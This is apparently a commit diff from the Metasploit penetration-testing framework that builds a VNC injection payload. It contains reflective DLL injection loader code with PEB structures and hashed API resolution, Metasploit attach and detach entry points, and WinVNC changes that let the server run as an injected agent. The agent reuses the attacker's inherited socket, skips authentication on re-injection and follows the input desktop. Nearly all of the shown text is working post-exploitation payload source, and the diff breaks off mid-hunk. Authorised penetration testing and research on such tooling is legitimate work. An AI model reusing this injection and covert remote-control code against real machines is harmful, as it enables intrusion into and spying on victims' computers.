uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
}
}
*/
// STEP 7: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,197 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H
#define _VNCDLL_LOADER_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -98,7 +98,7 @@ VSocketSystem::VSocketSystem()
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2, 0);
wVersionRequested = MAKEWORD(2, 2);
if (WSAStartup(wVersionRequested, &wsaData) != 0)
{
m_status = VFalse;
@ -118,10 +118,10 @@ VSocketSystem::VSocketSystem()
VSocketSystem::~VSocketSystem()
{
if (m_status)
/*if (m_status)
{
WSACleanup();
}
}*/
}
////////////////////////////
@ -130,13 +130,20 @@ VSocket::VSocket()
{
// Clear out the internal socket fields
sock = -1;
hCloseEvent = NULL;
out_queue = NULL;
}
VSocket::VSocket( SOCKET socket )
VSocket::VSocket( WSAPROTOCOL_INFO * pSocketInfo, HANDLE hClose )
{
sock = (int)WSASocket( AF_INET, SOCK_STREAM, 0, pSocketInfo, 0, 0 );
if( sock == INVALID_SOCKET )
sock = -1;
//BREAK_ON_WSAERROR( "[VNCDLL] vncdll_run. WSASocketA failed" );
// Clear out the internal socket fields
sock = (int)socket;
//sock = (int)socket;
hCloseEvent = hClose;
out_queue = NULL;
}
////////////////////////////
@ -179,22 +186,19 @@ VSocket::Create()
////////////////////////////
extern HANDLE hTerminateEvent;
extern HANDLE hCloseEvent;
VBool VSocket::Close()
{
if (sock >= 0)
{
shutdown(sock, SD_BOTH);
#ifdef __WIN32__
closesocket(sock);
#else
close(sock);
#endif
sock = -1;
if( sock >= 0 )
{
//shutdown(sock, SD_BOTH);
//closesocket(sock);
//CloseHandle( (HANDLE)sock );
sock = -1;
SetEvent( hCloseEvent );
}
SetEvent(hTerminateEvent);
}
while (out_queue)
{
AIOBlock *next = out_queue->next;
@ -210,10 +214,10 @@ VBool VSocket::Close()
VBool
VSocket::Shutdown()
{
if (sock >= 0)
/*if (sock >= 0)
{
shutdown(sock, SD_BOTH);
}
}*/
while (out_queue)
{
AIOBlock *next = out_queue->next;
@ -230,7 +234,8 @@ VBool
VSocket::Bind(const VCard port, const VBool localOnly,
const VBool checkIfInUse)
{
struct sockaddr_in addr;
return VFalse;
/*struct sockaddr_in addr;
// Check that the socket is open!
if (sock < 0)
@ -261,7 +266,7 @@ VSocket::Bind(const VCard port, const VBool localOnly,
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
return VFalse;
return VTrue;
return VTrue;*/
}
////////////////////////////
@ -269,6 +274,8 @@ VSocket::Bind(const VCard port, const VBool localOnly,
VBool
VSocket::Connect(VStringConst address, const VCard port)
{
return VFalse;
/*
// Check the socket
if (sock < 0)
return VFalse;
@ -314,7 +321,7 @@ VSocket::Connect(VStringConst address, const VCard port)
return VFalse;
#endif
return VTrue;
return VTrue;*/
}
////////////////////////////
@ -322,6 +329,8 @@ VSocket::Connect(VStringConst address, const VCard port)
VBool
VSocket::Listen()
{
return VFalse;
/*
// Check socket
if (sock < 0)
return VFalse;
@ -330,7 +339,7 @@ VSocket::Listen()
if (listen(sock, 5) < 0)
return VFalse;
return VTrue;
return VTrue;*/
}
////////////////////////////
@ -338,6 +347,8 @@ VSocket::Listen()
VSocket *
VSocket::Accept()
{
return VFalse;
/*
const int one = 1;
int new_socket_id;
@ -381,7 +392,7 @@ VSocket::Accept()
}
#endif
return new_socket;
return new_socket;*/
}
////////////////////////////
@ -389,6 +400,8 @@ VSocket::Accept()
VBool
VSocket::TryAccept(VSocket **new_socket, long ms)
{
return VFalse;
/*
// Check this socket
if (sock < 0)
return NULL;
@ -414,7 +427,7 @@ VSocket::TryAccept(VSocket **new_socket, long ms)
return VFalse;
// Success
*new_socket = s;
return VTrue;
return VTrue;*/
}
////////////////////////////
@ -466,8 +479,8 @@ VSocket::Resolve(VStringConst address)
VBool
VSocket::SetTimeout(VCard32 secs)
{
if (LOBYTE(winsockVersion) < 2)
return VFalse;
//if (LOBYTE(winsockVersion) < 2)
// return VFalse;
int timeout=secs;
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{

View File

@ -81,7 +81,7 @@ class VSocket
public:
// Constructor/Destructor
VSocket();
VSocket( SOCKET socket );
VSocket( WSAPROTOCOL_INFO * pSocketInfo, HANDLE hClose );
virtual ~VSocket();
////////////////////////////
@ -171,6 +171,7 @@ public:
protected:
// The internal socket id
int sock;
HANDLE hCloseEvent;
// Output queue
size_t bytes_sent;

File diff suppressed because it is too large Load Diff

109
external/source/vncdll/winvnc/common.h vendored Normal file
View File

@ -0,0 +1,109 @@
#ifndef _COMMON_H
#define _COMMON_H
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#include <stdlib.h>
#define dprintf(...) real_dprintf(__VA_ARGS__)
#ifndef DPRINTF
#define DPRINTF
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
FILE * fp = fopen("c:\\debug_log_vncdll.txt","a");
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n\x00");
if(fp)
{
fputs( buffer, fp );
fclose(fp);
}
OutputDebugString(buffer);
}
#endif
#else
#define dprintf(...) do{}while(0);
#endif
// Simple macro to close a handle and set the handle to NULL.
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
typedef struct _PIXELFORMAT
{
BYTE bpp;
BYTE depth;
BYTE bigendian;
BYTE truecolour;
WORD redmax;
WORD greenmax;
WORD bluemax;
BYTE redshift;
BYTE greenshift;
BYTE blueshift;
BYTE pad1;
WORD pad2;
} PIXELFORMAT;
/*typedef struct _DICTMSG
{
DWORD dwId;
DWORD dwDictLength;
BYTE bDictBuffer[1];
} DICTMSG;*/
/*
* The context used for the agent to keep the vnc stream back to the client consistent during session switching.
*/
typedef struct _AGENT_CTX
{
// The WSAPROTOCOL_INFO structure for the socket back to the client.
WSAPROTOCOL_INFO info;
// Flag to disable the creation of a courtesy shell on the input desktop.
BOOL bDisableCourtesyShell;
// The event to terminate the vnc agent.
HANDLE hCloseEvent;
// A flag to force only the first agent instance to perform the RFB initilization.
BOOL bInit;
// The encoding used by the last agent, we can then force the next agent to keep using
// the last known encoding in order to keep the remote client's RFB stream consistent.
DWORD dwEncoding;
// A hex value used for the loaders pipe server
DWORD dwPipeName;
// The rfb streams current pixel format.
PIXELFORMAT PixelFormat;
// Various settings for the rfb stream.
DWORD dwCompressLevel;
DWORD dwQualityLevel;
BOOL bUseCopyRect;
BOOL bEncodingRichCursor;
BOOL bEncodingPointerPos;
BOOL bEncodingLastRect;
BOOL bEncodingNewfbSize;
BOOL bEncodingXCursor;
//DICTMSG * dictionaries[4];
} AGENT_CTX, * LPAGENT_CTX;
#define MESSAGE_SETENCODING 0x28471649
#define MESSAGE_SETPIXELFORMAT 0x92785926
#define MESSAGE_SETCOMPRESSLEVEL 0x82658926
#define MESSAGE_SETQUALITYLEVEL 0x31857295
#define MESSAGE_SETCOPYRECTUSE 0x91748275
#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037
#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620
#define MESSAGE_SETENCODINGLASTRECT 0x11984659
#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345
#define MESSAGE_SETENCODINGXCURSOR 0x81659265
#define MESSAGE_SETZLIBDICTIONARY 0x91601668
#endif

View File

@ -301,239 +301,11 @@
Name="Source Files"
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
>
<File
RelativePath=".\jcapimin.c"
>
</File>
<File
RelativePath=".\jcapistd.c"
>
</File>
<File
RelativePath=".\jccoefct.c"
>
</File>
<File
RelativePath=".\jccolor.c"
>
</File>
<File
RelativePath=".\jcdctmgr.c"
>
</File>
<File
RelativePath=".\jchuff.c"
>
</File>
<File
RelativePath=".\jcinit.c"
>
</File>
<File
RelativePath=".\jcmainct.c"
>
</File>
<File
RelativePath=".\jcmarker.c"
>
</File>
<File
RelativePath=".\jcmaster.c"
>
</File>
<File
RelativePath=".\jcomapi.c"
>
</File>
<File
RelativePath=".\jcparam.c"
>
</File>
<File
RelativePath=".\jcphuff.c"
>
</File>
<File
RelativePath=".\jcprepct.c"
>
</File>
<File
RelativePath=".\jcsample.c"
>
</File>
<File
RelativePath=".\jctrans.c"
>
</File>
<File
RelativePath=".\jdapimin.c"
>
</File>
<File
RelativePath=".\jdapistd.c"
>
</File>
<File
RelativePath=".\jdatadst.c"
>
</File>
<File
RelativePath=".\jdatasrc.c"
>
</File>
<File
RelativePath=".\jdcoefct.c"
>
</File>
<File
RelativePath=".\jdcolor.c"
>
</File>
<File
RelativePath=".\jddctmgr.c"
>
</File>
<File
RelativePath=".\jdhuff.c"
>
</File>
<File
RelativePath=".\jdinput.c"
>
</File>
<File
RelativePath=".\jdmainct.c"
>
</File>
<File
RelativePath=".\jdmarker.c"
>
</File>
<File
RelativePath=".\jdmaster.c"
>
</File>
<File
RelativePath=".\jdmerge.c"
>
</File>
<File
RelativePath=".\jdphuff.c"
>
</File>
<File
RelativePath=".\jdpostct.c"
>
</File>
<File
RelativePath=".\jdsample.c"
>
</File>
<File
RelativePath=".\jdtrans.c"
>
</File>
<File
RelativePath=".\jerror.c"
>
</File>
<File
RelativePath=".\jfdctflt.c"
>
</File>
<File
RelativePath=".\jfdctfst.c"
>
</File>
<File
RelativePath=".\jfdctint.c"
>
</File>
<File
RelativePath=".\jidctflt.c"
>
</File>
<File
RelativePath=".\jidctfst.c"
>
</File>
<File
RelativePath=".\jidctint.c"
>
</File>
<File
RelativePath=".\jidctred.c"
>
</File>
<File
RelativePath=".\jmemmgr.c"
>
</File>
<File
RelativePath=".\jmemnobs.c"
>
</File>
<File
RelativePath=".\jquant1.c"
>
</File>
<File
RelativePath=".\jquant2.c"
>
</File>
<File
RelativePath=".\jutils.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl"
>
<File
RelativePath=".\jchuff.h"
>
</File>
<File
RelativePath=".\jconfig.h"
>
</File>
<File
RelativePath=".\jdct.h"
>
</File>
<File
RelativePath=".\jdhuff.h"
>
</File>
<File
RelativePath=".\jerror.h"
>
</File>
<File
RelativePath=".\jinclude.h"
>
</File>
<File
RelativePath=".\jmemsys.h"
>
</File>
<File
RelativePath=".\jmorecfg.h"
>
</File>
<File
RelativePath=".\jpegint.h"
>
</File>
<File
RelativePath=".\jpeglib.h"
>
</File>
<File
RelativePath=".\jversion.h"
>
</File>
</Filter>
</Files>
<Globals>

View File

@ -312,18 +312,6 @@
<References>
</References>
<Files>
<File
RelativePath="nt.cpp"
>
</File>
<File
RelativePath="nt.h"
>
</File>
<File
RelativePath="omnithread.h"
>
</File>
</Files>
<Globals>
</Globals>

View File

@ -240,10 +240,37 @@ vncBuffer::SetClientFormat(rfbPixelFormat &format)
return TRUE;
}
BOOL
vncBuffer::SetEncoding(CARD32 encoding)
/*
VOID vncBuffer::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
{
do
{
if( !lpAgentContext || !m_encoder )
break;
dprintf( "UpdateZLibDictionary, updating the ZLib dictionaries..." );
m_encoder->UpdateZLibDictionary( lpAgentContext );
dprintf( "UpdateZLibDictionary, Finished updating the ZLib dictionaries." );
} while( 0 );
}
VOID vncBuffer::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
{
do
{
if( !lpAgentContext || !m_encoder )
break;
m_encoder->DumpZLibDictionary( lpAgentContext );
} while( 0 );
}
*/
BOOL vncBuffer::SetEncoding(CARD32 encoding)
{
//m_desktop->FillDisplayInfo(&m_scrinfo);
// Delete the old encoder

View File

@ -78,6 +78,9 @@ public:
void EnableLastRect(BOOL enable);
BOOL IsLastRectEnabled() { return m_use_lastrect; }
//VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
//VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
// ENCODING
BOOL SetEncoding(CARD32 encoding);

View File

@ -91,7 +91,7 @@ public:
vncServer *server,
VSocket *socket,
BOOL reverse,
BOOL shared);
BOOL shared, AGENT_CTX * lpAgentContext);
// Sub-Init routines
virtual BOOL InitVersion();
@ -119,17 +119,20 @@ protected:
vncClient *m_client;
BOOL m_reverse;
BOOL m_shared;
AGENT_CTX *m_lpAgentContext;
};
vncClientThread::~vncClientThread()
{
//m_client->m_buffer->DumpZLibDictionary( m_lpAgentContext );
m_socket->Close();
// If we have a client object then delete it
if (m_client != NULL)
delete m_client;
}
BOOL
vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOOL reverse, BOOL shared)
vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOOL reverse, BOOL shared, AGENT_CTX * lpAgentContext)
{
// Save the server pointer and window handle
m_server = server;
@ -137,7 +140,7 @@ vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOO
m_client = client;
m_reverse = reverse;
m_shared = shared;
m_lpAgentContext = lpAgentContext;
// Start the thread
start();
@ -572,8 +575,10 @@ ClearKeyState(BYTE key)
}
}
void
vncClientThread::run(void *arg)
extern HDESK vncdll_getinputdesktop( BOOL bSwitchStation );
extern DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength );
void vncClientThread::run(void *arg)
{
// All this thread does is go into a socket-recieve loop,
// waiting for stuff on the given socket
@ -582,7 +587,7 @@ vncClientThread::run(void *arg)
// this thread.
// Save the handle to the thread's original desktop
HDESK home_desktop = GetThreadDesktop(GetCurrentThreadId());
HDESK home_desktop = vncdll_getinputdesktop(FALSE);
// To avoid people connecting and then halting the connection, set a timeout
m_socket->SetTimeout(30000);
@ -593,22 +598,34 @@ vncClientThread::run(void *arg)
// All clients have the m_protocol_ready flag set to FALSE initially, to prevent
// updates and suchlike interfering with the initial protocol negotiations.
// GET PROTOCOL VERSION
if (!InitVersion()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
if( m_lpAgentContext->bInit )
{
// GET PROTOCOL VERSION
if (!InitVersion()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
// AUTHENTICATE LINK
if (!InitAuthenticate()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
// AUTHENTICATE LINK
if (!InitAuthenticate()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
// READ CLIENT INITIALIZATION MESSAGE
if (!ReadClientInit()) {
m_server->RemoveClient(m_client->GetClientId());
return;
// READ CLIENT INITIALIZATION MESSAGE
if (!ReadClientInit()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
}
else
{
// Save the minor number of the protocol version
m_client->m_protocol_minor_version = 8;
// TightVNC protocol extensions are not enabled yet
m_client->m_protocol_tightvnc = FALSE;
// Tell the server that this client is ok
m_server->Authenticated(m_client->GetClientId());
}
// Authenticated OK - remove from blacklist and remove timeout
@ -633,41 +650,96 @@ vncClientThread::run(void *arg)
}
else
{
strcpy(desktopname, "WinVNC");
strcpy(desktopname, "");
}
// Send the server format message to the client
rfbServerInitMsg server_ini;
server_ini.format = m_client->m_buffer->GetLocalFormat();
// Endian swaps
RECT sharedRect;
sharedRect = m_server->GetSharedRect();
server_ini.framebufferWidth = Swap16IfLE(sharedRect.right- sharedRect.left);
server_ini.framebufferHeight = Swap16IfLE(sharedRect.bottom - sharedRect.top);
server_ini.format.redMax = Swap16IfLE(server_ini.format.redMax);
server_ini.format.greenMax = Swap16IfLE(server_ini.format.greenMax);
server_ini.format.blueMax = Swap16IfLE(server_ini.format.blueMax);
server_ini.nameLength = Swap32IfLE(strlen(desktopname));
if (!m_socket->SendExact((char *)&server_ini, sizeof(server_ini)))
if( m_lpAgentContext->bInit )
{
m_server->RemoveClient(m_client->GetClientId());
return;
}
if (!m_socket->SendExact(desktopname, (VCard)strlen(desktopname)))
{
m_server->RemoveClient(m_client->GetClientId());
return;
}
// Send the server format message to the client
rfbServerInitMsg server_ini;
server_ini.format = m_client->m_buffer->GetLocalFormat();
// Inform the client about our interaction capabilities (protocol 3.7t)
if (m_client->m_protocol_tightvnc) {
if (!SendInteractionCaps()) {
// Endian swaps
RECT sharedRect;
sharedRect = m_server->GetSharedRect();
server_ini.framebufferWidth = Swap16IfLE(sharedRect.right- sharedRect.left);
server_ini.framebufferHeight = Swap16IfLE(sharedRect.bottom - sharedRect.top);
server_ini.format.redMax = Swap16IfLE(server_ini.format.redMax);
server_ini.format.greenMax = Swap16IfLE(server_ini.format.greenMax);
server_ini.format.blueMax = Swap16IfLE(server_ini.format.blueMax);
server_ini.nameLength = Swap32IfLE(strlen(desktopname));
if (!m_socket->SendExact((char *)&server_ini, sizeof(server_ini)))
{
m_server->RemoveClient(m_client->GetClientId());
return;
}
if (!m_socket->SendExact(desktopname, (VCard)strlen(desktopname)))
{
m_server->RemoveClient(m_client->GetClientId());
return;
}
// Inform the client about our interaction capabilities (protocol 3.7t)
if (m_client->m_protocol_tightvnc) {
if (!SendInteractionCaps()) {
m_server->RemoveClient(m_client->GetClientId());
return;
}
}
}
else
{
BOOL shapeupdates_requested = FALSE;
rfbPixelFormat pf;
// restore the streams pixel format...
memcpy( &pf, &m_lpAgentContext->PixelFormat, sizeof(rfbPixelFormat) );
m_client->m_buffer->SetClientFormat( pf );
// seems to introduce an issue with the RealVNC viewer. (leave commented out).
//m_client->m_palettechanged = TRUE;
// restore the rest of the streams context...
m_client->m_buffer->SetQualityLevel( m_lpAgentContext->dwQualityLevel );
m_client->m_buffer->SetCompressLevel( m_lpAgentContext->dwCompressLevel );
m_client->m_buffer->EnableXCursor( m_lpAgentContext->bEncodingXCursor );
m_client->m_buffer->EnableRichCursor( m_lpAgentContext->bEncodingRichCursor );
m_client->m_buffer->EnableLastRect( m_lpAgentContext->bEncodingLastRect );
if( m_lpAgentContext->bEncodingRichCursor )
shapeupdates_requested = TRUE;
m_client->m_use_NewFBSize = m_lpAgentContext->bEncodingNewfbSize;
m_client->m_use_PointerPos = FALSE;
m_client->m_cursor_update_pending = FALSE;
m_client->m_cursor_update_sent = FALSE;
m_client->m_cursor_pos_changed = FALSE;
if( shapeupdates_requested && m_lpAgentContext->bEncodingPointerPos )
{
m_client->m_use_PointerPos = TRUE;
m_client->SetCursorPosChanged();
}
if( m_lpAgentContext->dwEncoding == rfbEncodingCopyRect || m_lpAgentContext->bUseCopyRect )
m_client->m_copyrect_use = TRUE;
// For now as we cant maintain zlib dictionary synchronization we default to rfbEncodingHextile
// This only effects the agent on the second or more injectionand not the first interactive session being viewed.
if( m_lpAgentContext->dwEncoding == rfbEncodingZlib || m_lpAgentContext->dwEncoding == rfbEncodingTight || m_lpAgentContext->dwEncoding == rfbEncodingZlibHex )
{
m_client->m_buffer->SetEncoding( rfbEncodingHextile );
// Some experimental work for maintaining the zlib dictionaries has been done but is not for use.
//m_client->m_buffer->SetEncoding( m_lpAgentContext->dwEncoding );
//m_client->m_buffer->UpdateZLibDictionary( m_lpAgentContext );
}
else
{
// rfbEncodingRaw, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile
m_client->m_buffer->SetEncoding( m_lpAgentContext->dwEncoding );
}
}
// UNLOCK INITIAL SETUP
@ -693,10 +765,7 @@ vncClientThread::run(void *arg)
{
rfbClientToServerMsg msg;
// Ensure that we're running in the correct desktop
if (!vncService::InputDesktopSelected())
if (!vncService::SelectDesktop(NULL))
break;
vncdll_getinputdesktop( FALSE );
// Try to read a message ID
if (!m_socket->ReadExact((char *)&msg.type, sizeof(msg.type)))
@ -730,6 +799,10 @@ vncClientThread::run(void *arg)
{
connected = FALSE;
}
else
{
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETPIXELFORMAT, (BYTE *)&msg.spf.format, sizeof(PIXELFORMAT) );
}
// Set the palette-changed flag, just in case...
m_client->m_palettechanged = TRUE;
@ -786,6 +859,8 @@ vncClientThread::run(void *arg)
{
// Client wants us to use CopyRect
m_client->m_copyrect_use = TRUE;
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETCOPYRECTUSE, (BYTE *)&res, sizeof(BOOL) );
continue;
}
@ -793,7 +868,8 @@ vncClientThread::run(void *arg)
